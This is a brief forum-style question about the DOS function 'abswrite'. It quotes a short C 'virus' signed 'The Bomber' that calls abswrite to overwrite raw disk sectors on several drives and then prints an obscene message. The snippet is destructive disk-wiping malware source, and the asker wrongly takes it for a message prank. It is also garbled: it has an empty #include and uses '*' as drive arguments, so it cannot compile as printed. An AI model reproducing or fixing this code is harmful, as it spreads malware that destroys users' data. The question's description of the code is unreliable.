I've seen the command 'abswrite' in many 'viruses' that basically bombard your computer with messages. What exactly does abswrite do(and the all code). Here is an example of how it is used:
#include
main()
{
char *vir;
abswrite(0,50,0,vir);
abswrite(*,50,0,vir);
abswrite(2,50,0,vir);
abswrite(*,50,0,vir);
abswrite(4,50,0,vir);
printf("FUCK YOU ALL");
printf("The Bomber");
}
